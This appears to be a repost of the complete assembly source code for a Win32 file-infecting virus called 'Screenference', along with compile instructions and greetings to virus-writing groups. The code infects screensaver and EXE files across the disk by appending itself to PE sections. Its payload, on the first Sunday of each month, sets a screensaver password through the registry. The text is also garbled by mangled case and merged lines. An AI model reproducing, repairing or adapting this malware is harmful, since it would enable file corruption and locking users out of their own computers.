Win32

xiaoxiao2021-03-05  29

;? ----------

Win32.ScreenferenceRy Malfunction

;

Hi Out there! this is my first little win32 infector. there's nothing

Special At It, No New Technique, No New Way of Infecting. Yes, IT IS

A Very Poor Coded Direct action infector. :(

But: have you ever heard of mcafee's silly feature 'scanning while

The screensaver runs'?

This Virus is The answer to That Feature. An infected exe-file

Will Infect Only Scr-Filez in the% Windir% and% Windir% / System Directoriez.

An Infected Scr-File Will Create A New Thread for Infecting and Then

immediately return to the host. The created thread infectz the whole

HD usin 'a dir traversal. I know it's slow and makes the user

Suspicious, But it's funny: a Virus That Infectz During The Screensaver ...

; -------?

Thanx 'N' Greetz:

; -----------------

;

WANG_E: I'm Sure That U'Ll Have Yer OWN OS One Day.

; THX for All Da Help, My Friend!

Blackart: Yeah, I'm STILL CODIN 'THAT TROJAN ...

Evil_byte: Mittlerweile Schon Mal "Mirror, Mirror" Von

Blind Guardian GEH block T?;)

Benny / 29A: All Yer Tutes in 29a # 4 ROX!

; Lord Julus: Vx-Tasy # 1 is one of the best ezines i Have Ever seen

;

;

Compile with: tasm32.exe / m9 / ml screenf.asm

; TLINK32.EXE / AA / TPE / C / X Screenf.obj,, IMPORT32.LIB

Pewrite.exe Screenf.exe

;

(Pewrite Is Part of Lord Julus' VX-Tasy # 1)

.386

.MODEL FLAT

EXTRN Messageboxa: Proc

EXTRN EXITPROCESS: PROC

EXTRN GETPROCADDRESS: PROC

EXTRN GETMODULEHANDLEA: PROC

.DATA

Dummy_title DB "Senseless Dummy PROG V1.01", 0

Dummy_msg DB "Dummy Prog Carrying a Little Win32 Infector ...", 0

.code

Dummy:

Push 0; Just A Dummy ...

Push offset dummy_title

Push Offset Dummy_MSGPUSH 0

Call Messageboxa

PUSH 0

Call EXITPROCESS

v_size = v_end - v_start

v_start:; Gimme That Delta

Call delta

Delta:

POP EBP

JMP over_var; Variables Part I

FILEHANDLE DD?

Maphandle DD?

MapAddr DD?

MapSize DD?

KEYHANDLE DD?

Value1 DD 1

HMODULE DD?

Oldeip DD?

FileAlign DD?

K32Name DB "kernel32", 0

Advapiname DB "Advapi32", 0

Procsfound DB 0

Searchmask DB "* .scr", 0

Wildcard db "*. *", 0

Root db '/', 0

Nested DB 0

Dotdot DB "..", 0

FNHANDLE DD?

Fnhandle2 DD?

THREADID DD?

_alloc dd?

PTRGETPROCADDRESS DD?

PTRGETMODULEHANDLEA DD?

FILETYPE DB 'E'

_GetProcaddress DB "getProcaddress", 0

_GetModuleHandlea DB "getModuleHandlea", 0

APIs:

GetWindowsDirectorya DD?

GetCurrentDirectorya DD?

SETCURRENTDIRECTORYA DD?

GetSystemDirectorya DD?

GetCommandlinea DD?

GetSystemTime DD?

EXITTHREAD DD?

CREATTHREAD DD?

CloseHandle DD?

UnmapViewoffile dd?

MapViewOffile DD?

SETFILEATTRIBUTESA DD?

CREATEFILEMAPPINGA DD?

CREATEFILEA DD?

FINDNEXTFILEA DD?

FindFirstFilea DD?

VirtualAlloc DD?

LoadLibrarya DD?

RegSetValueExa DD?

Over_var:

DB 0B8H; MOV Eax, IMM32; Save Old EIP

Oldeip2 DD Offset Dummy

MOV [EBP OLDEIP-DELTA], EAX

DB 0B8H; MOV Eax, IMM32; Trace to Import Table

BaseAddress DD 00400000H

Add Eax, [EAX 3CH]

Add Eax, 80h

Mov Eax, [EAX]

Add Eax, [EBP BaseAddress-Delta]

IMPORT1:

CMP DWORD PTR [EAX], 0; Last Import Descriptor?

JZ Quit

Mov ESI, [EAX 0CH]

Add ESI, [EBP BaseAddress-Delta]

Lea EDI, [EBP K32NAME-DELTA]; Is IT KERNEL32?

Push 2

POP ECX

Rep CMPSD

JZ Import2

Add Eax, 14h

JMP import1

IMPORT2:

MOV EBX, [EAX]; Search for the needed APIMOV EDX, [EAX 10H]; Addresses ...

Add EBX, [EBP BaseAddress-Delta]

Add Edx, [EBP BaseAddress-Delta]

IMPORT3:

CMP DWORD PTR [EBX], 0

JZ NO_MORE_IMP

Mov ESI, [EBX]

Add ESI, [EBP BaseAddress-Delta]

Inc ESI

Inc ESI

PUSH ESI

Lea EDI, [EBP _GETPROCADDRESS-DELTA]; Is IT GetProcAddress?

Push 14

POP ECX

REP CMPSB

JNZ NO_STORE1

Mov Edi, [EDX]

MOV [EBP PTRGETPROCADDRESS-DELTA], EDI

Inc Byte PTR [EBP Procsfound-Delta]

NO_STORE1:

Lea EDI, [EBP _GETMODULEHANDLEA-DELTA]; Is IT getModuleHandlea?

Push 4

POP ECX

POP ESI

Rep CMPSD

JNZ NO_STORE2

Mov Edi, [EDX]

MOV [EBP PTRGETMODULEHANDLEA-DELTA], EDI

Inc Byte PTR [EBP Procsfound-Delta]

NO_STORE2:

Add ebx, 4

Add EDX, 4

JMP IMPORT3

NO_MORE_IMP:

CMP BYTE PTR [EBP Procsfound-Delta], 2; Both Apiaddresses Found?

Jnz quit

MOV BYTE PTR [EBP Procsfound-Delta], 0

Lea Eax, [EBP K32NAME-DELTA]; GIMME K32 BASE

Push EAX

Call [EBP PTRGETMODULEHANDLEA-DELTA]

MOV [EBP HMODULE-DELTA], EAX

PUSH 18

POP ECX

Lea EDI, [EBP APIS-DELTA]

Lea ESI, [EBP PTR_TABLE-DELTA]

GET_APIS:; Retrieve All Needed APIZ

Lodsd

Add Eax, EBP

Sub Eax, Offset Delta

Push ECX

Push EDI

PUSH ESI

Push EAX

Push DWORD PTR [EBP HMODULE-DELTA]

Call [EBP PTRGETPROCADDRESS-DELTA]

POP ESI

POP EDI

POP ECX

Test Eax, EAX

JZ Quit

Stosd

Loop get_apis

Push 40h; Allocate 1000 Bytes

Push 1000h

Push 1000

PUSH 0

Call [EBP Virtualaloc-Delta]

Test Eax, EAX

JZ Quit

MOV [EBP _ALLOC-DELTA], EAX

Add Eax, 580; Get System Time

Push EAX

Push EAX

Call [EBP GetSystemTime-Delta]

POP EAX

CMP Word PTR [EAX 4], 0; Sunday?

JNZ NO_PAYLOAD

CMP Word PTR [EAX 6], 7; 1st Sunday of Month? JA NO_PAYLOAD

Lea Eax, [EBP Advapiname-Delta]; load advapi32.dll

Push EAX

Call [EBP LOADLIBRARYA-DELTA]

Test Eax, EAX

JZ NO_PAYLOAD

Push Eax; Get RegopenkeyExa Address

LEA EBX, [EBP _REGOPENKEYEXA-DELTA]

Push EBX

Push EAX

Call [EBP PTRGETPROCADDRESS-DELTA]

Lea EBX, [EBP Keyhandle-Delta]; Open the REG KEY

Push EBX

Push 001f0000h

PUSH 0

Lea EBX, [EBP RegKey-Delta]

Push EBX

PUSH 80000001H

Call EAX

POP Eax; Get RegSetValueexa Address

Lea EBX, [EBP _REGSETVALUEEXA-DELTA]

Push EBX

Push EAX

Call [EBP PTRGETPROCADDRESS-DELTA]

MOV [EBP RegSetValueexa-Delta], EAX

Push 25; Set Screensaver PWD

Lea EBX, [EBP VALUE2-DELTA]

Push EBX

Push 3

PUSH 0

Lea EBX, [EBP VALUE2NAME-DELTA]

Push EBX

Push DWORD PTR [EBP KeyHandle-Delta]

Call EAX

Push 4; Enable Screensaver PWD

Lea Eax, [EBP VALUE1-DELTA]

Push EAX

Push 4

PUSH 0

Lea Eax, [EBP VALUE1NAME-DELTA]

Push EAX

Push DWORD PTR [EBP KeyHandle-Delta]

Call [EBP RegSetValueexa-Delta]

NO_PAYLOAD:

MOV EAX, [EBP _Alloc-Delta]; Get Current Dir

Add Eax, 320

Push EAX

Push 260

Call [EBP GETCURRENTDIRECTORYA-DELTA]

CMP BYTE PTR [EBP FILETYPE-DELTA], 'E'; IS An EXE OR A SCR EXECUTED?

JNZ Screen_save

ITS_EXE:

MOV DWORD PTR [EBP Searchmask 1-Delta], 'RCS.'; set for findfile

MOV BYTE PTR [EBP FILETYPE-DELTA], 'S'

MOV EAX, [EBP _Alloc-Delta]; Infect Windoze Dir

Push EAX

Push 320

Push EAX

Call [EBP GETWINDOWSDIRECTORYA-DELTA]

Call [EBP SETCURRENTDIRECTORYA-DELTA]

Call infect_dir

MOV EAX, [EBP _Alloc-Delta]; Infect Windoze / System Dir

Push EAX

Push 320

Push EAX

Call [EBP GetSystemDirectorya-Delta] Call [EBP SETCURRENTDIRECTORYA-DELTA]

Call infect_dir

MOV EAX, [EBP _Alloc-Delta]; Go to Old Dir

Add Eax, 320

Push EAX

Call [EBP SETCURRENTDIRECTORYA-DELTA]

Quit:

JMP [EBP OLDEIP-DELTA]; JMP to Host

Screen_save:

MOV DWORD PTR [EBP Searchmask 1-Delta], 'EXE.'; set for findfile

MOV BYTE PTR [EBP FILETYPE-DELTA], 'E'

Call [EBP getcommandlinea-delta]; Get CommandLine

Mov Edi, EAX

XOR EAX, EAX

Get_end:

Scasb

JNZ get_end

CMP BYTE PTR [EDI-2], 'S'; WAS THE parameter / s?

JZ Run_It; (WE Don't want to infect

CMP BYTE PTR [EDI-2], 'S'; When SCR IS Configurated)

JZ Run_IT

JMP quit

Run_it:

MOV [EBP SAVE_EBP-DELTA], EBP; Save Ebp for New Thread

Lea Eax, [EBP Threadid-Delta]; Create The Infection Thread

Push EAX

PUSH 0

PUSH 0

Lea Eax, [EBP Mythread-Delta]

Push EAX

PUSH 0

PUSH 0

Call [EBP CREATTHREAD-DELTA]

JMP quit; return to host

Mythread:

DB 0BDH; MOV EBP, IMM32; Get Delta Handle

Save_ebp dd?

Lea Eax, [EBP ROOT-DELTA]; SET ROOT DIR AS CURRENT DIR

Push EAX

Call [EBP SETCURRENTDIRECTORYA-DELTA]

Call dirtrav; infect!

PUSH 0

Call [EBP EXITTHREAD-DELTA]; EXIT THREAD

Dirtrav:

Call Infect_Dir; Infect Directory

Push DWORD PTR [EBP _Alloc-Delta]; Find Dir

Lea Eax, [EBP WILDCARD-DELTA]

Push EAX

Call [EBP FINDFIRSTFILEA-DELTA]

Push EAX

INC EAX

JZ Check_Root

Dec EAX

MOV [EBP FNHANDLE-DELTA], EAX

JMP Test_iF_Dir

FINDNEXTDIR:

Push DWORD PTR [EBP _Alloc-Delta]; Find Next Dir

Push DWORD PTR [EBP FNHANDLE-DELTA]

Call [EBP FINDNEXTFILEA-DELTA]

Test Eax, EAX

JZ Check_Root

TEST_IF_DIR:

Mov Eax, [EBP _ALLOC-DELTA]

Test DWORD PTR [EAX], 10H; Is IT A Directory? JZ Findnextdir

Mov Eax, [EBP _ALLOC-DELTA]

Add Eax, 44

CMP BYTE PTR [EAX], '.'; is it '.' or '..'?

JZ FINDNEXTDIR

Push EAX

Call [EBP SETCURRENTDIRECTORYA-DELTA]; Go to Found Dir

Inc Byte PTR [EBP NESTED-DELTA]

Call Dirtrav; Recursive!

MOV EAX, [ESP]

MOV [EBP FNHANDLE-DELTA], EAX

JMP FindNextdir

Check_root:

CMP BYTE PTR [EBP NESTED-DELTA], 0; Are We at root?

JZ end_trav

Lea EAX, [EBP DOTDOT-DELTA]; Go to '..'

Push EAX

Call [EBP SETCURRENTDIRECTORYA-DELTA]

Dec Byte PTR [EBP NESTED-DELTA]

End_trav:

Add ESP, 4

RET

INFECT_DIR:

Push DWORD PTR [EBP _Alloc-Delta]; Find A File

Lea EAX, [EBP Searchmask-Delta]

Push EAX

Call [EBP FINDFIRSTFILEA-DELTA]

INC EAX

JZ NO_MORE_FILEZ

Dec EAX

MOV [EBP FNHANDLE2-DELTA], EAX

JMP infect_file

FINDNEXTFILE:

Push DWORD PTR [EBP _ALLOC-DELTA]; Find Next File

Push DWORD PTR [EBP FNHANDLE2-DELTA]

Call [EBP FINDNEXTFILEA-DELTA]

Test Eax, EAX

JZ NO_MORE_FILEZ

Infect_file:

XOR EDX, EDX

Mov Eax, [EBP _ALLOC-DELTA]

Mov Eax, [EAX 32]

MOV ECX, 201

Div ECX

Test EDX, EDX

JZ FINDNEXTFILE; ALREADY INFECTED?

MOV EAX, [EBP _Alloc-Delta]; (fsize modulo 201 = 0)

Mov Eax, [EAX 32]

Add Eax, v_size; align fsize to 201 ...

Push EAX

XOR EDX, EDX

Div ECX

POP EAX

SUB EDX, 201

NEG EDX

Add Eax, EDX

MOV [EBP MAPSIZE-DELTA], EAX; ... And Save IT

Push 80h; Clear File Attributes

Mov Eax, [EBP _ALLOC-DELTA]

Add Eax, 44

Push EAX

Call [EBP SETFILEATTRIBUTESA-DELTA]

Test Eax, EAX

JZ FindNextFile

PUSH 0; OPEN file

Push 80h

Push 3

PUSH 0

PUSH 0

Push 0C0000000H

Mov Eax, [EBP _ALLOC-DELTA]

Add Eax, 44

Push EAX

Call [EBP CREATEFILEA-DELTA]

INC EAX

JZ FindNextFile

Dec EAX

MOV [EBP FileHandle-Delta], EAX

Push 0; Map File Part I

Push DWORD PTR [EBP MAPSIZE-DELTA]

PUSH 0

Push 4

PUSH 0

Push EAX

Call [EBP CREATEFILEMAPPINGA-DELTA]

Test Eax, EAX

JZ Closefile

MOV [EBP MAPHANDLE-DELTA], EAX

Push DWORD PTR [EBP MAPSIZE-DELTA]; MAP File Part II

PUSH 0

PUSH 0

Push 2

Push EAX

Call [EBP MAPVIEWOFFILE-DELTA]

Test Eax, EAX

JZ Closefile

MOV [EBP MAPADDR-DELTA], EAX

CMP Word PTR [EAX], 'ZM'; EXE SIGNATURE?

JNZ Unmap

Add Eax, [EAX 3CH]

MOV EDX, [EBP MAPADDR-DELTA]

CMP EAX, EDX

JNAE Unmap

Mov EDI, [EBP _Alloc-Delta]

Add Edx, [EDI 32]

CMP EAX, EDX

Ja unmap

CMP DWORD PTR [EAX], 00004550H; PE SIGNATURE?

JNZ Unmap

Mov Edx, [EAX 28H]; Save Entrypoint

MOV [EBP OLDEIP2-DELTA], EDX

Mov Edx, [EAX 34H]

MOV [EBP BaseAddress-Delta], EDX; Save Base Address

Add [EBP OLDEIP2-DELTA], EDX

MOV EDX, [EAX 3CH]; Save file alignment

MOV [EBP FileAlign-Delta], EDX

Mov ESI, [EAX 74H]; Go to the last section header

SHL ESI, 3

Movzx EBX, Word PTR [EAX 6]

Dec EBX

XCHG EAX, EBX

Imul Eax, Eax, 28h

Lea ESI, [ESI EAX 78H]

Add ESI, EBX

OR DWORD PTR [ESI 24H], 0E0000020H; Set Characteristix

Add DWORD PTR [ESI 8], V_SIZE; CORRECT VIRTUALSIZE

MOV Eax, [ESI 8]

XOR EDX, EDX; Calculate New Rawsize

MOV ECX, [EBP FileAlign-Delta]

Div ECX

Test EDX, EDX

JZ NO_INC

INC EAX

NO_INC:

Mul ECX

Mov Edx, EAX

Sub EDX, [ESI 10h]

Add [EBX 50H], ​​EDX; Add Increase to Image Size

MOV [ESI 10h], EAX; Save New Rawsize

PUSH ESI

Mov Edi, [ESI 8]; Prepare to Copy Virus

Add Edi, [ESI 14H]

SUB EDI, V_SIZE

Add EDI, [EBP MAPADDR-DELTA] MOV ECX, V_SIZE; COPY IT!

Lea ESI, [EBP V_START-DELTA]

REP MOVSB

POP ESI; Save New Entrypoint

Mov EDI, [ESI 8]

Add Edi, [ESI 0CH]

SUB EDI, V_SIZE

MOV [EBX 28H], EDI

Unmap:

Push DWORD PTR [EBP MAPADDR-DELTA]; Unmap file

Call [EBP UnmapViewOffile-Delta]

Closefile:

Push DWORD PTR [EBP FileHandle-Delta]; And Close IT

Call [EBP CloseHandle-Delta]

MOV EAX, [EBP _Alloc-Delta]; restore Old Attribs

Push EAX

Add Eax, 44

Push EAX

Call [EBP SETFILEATTRIBUTESA-DELTA]

JMP FindNextFile

NO_MORE_FILEZ:

RET

Variables Part II

Apinames:

_GetWindowsDirectorya DB "getWindowsDirectorya", 0

_GetcurrentDirectorya DB "getcurrentdirectorya", 0

_SetcurrentDirectorya DB "setcurrentdirectorya", 0

_GetsystemDirectorya DB "getsystemdirectorya", 0

_GetCommandlinea DB "getcommandlinea", 0

_GetsystemTime DB "getsystemtime", 0

_EXITTHREAD DB "exitthread", 0

_CreateThread DB "CreateThread", 0

_CloseHandle DB "CloseHandle", 0

_UnmapViewoffile DB "unmapviewoffile", 0

_MapViewoffile DB "MapViewoffile", 0

_SETFileAttributesa DB "setfileAttributesa", 0

_CreateFileMappinga DB "CreateFilemappinga", 0

_CreateFilea DB "Createfilea", 0

_FindNextFilea DB "FindNextFilea", 0

_FindfirstFilea DB "Findfirstfilea", 0

_Virtualalloc DB "Virtualalloc", 0

_LoadLibrarya DB "LoadLibrarya", 0

_RegSetValueexa DB "RegSetValueexa", 0

_REGOPENKEYEXA DB "regopenkeyexa", 0

PTR_TABLE:

DD Offset _GetWindowsDirectorya

DD Offset _GetcurrentDirectorya

DD Offset_SetCurrentDirectorya

DD Offset _getsystemDirectorya

DD Offset _GetCommandLineAdd Offset _getsystemtime

DD Offset _exitthread

DD Offset _CreateTHRead

DD offset _closehandle

DD Offset _unmapViewoffile

DD Offset _MapViewoffile

DD Offset_SetFileAttributesa

DD offset _createfilemappinga

DD offset _createfilea

DD offset _findnextfilea

DD offset _findfirstfilea

DD offset _virtualalloc

DD Offset _LoadLibrarya

RegKey DB "Control Panel / Desktop", 0

Value1Name DB "Screensaveusepassword", 0

Value2 DB 31H, 42H, 41H, 44H, 32H, 34H, 35H, 38H, 32H, 32H, 32H, 37H, 45H

DB 37H, 35H, 45H, 33H, 39H, 44H, 38H, 30H, 38H, 41H, 41H, 00h

Value2name DB "Screensave_Data", 0

v_end:

END V_START

转载请注明原文地址:https://www.9cbs.com/read-37090.html

New Post(0)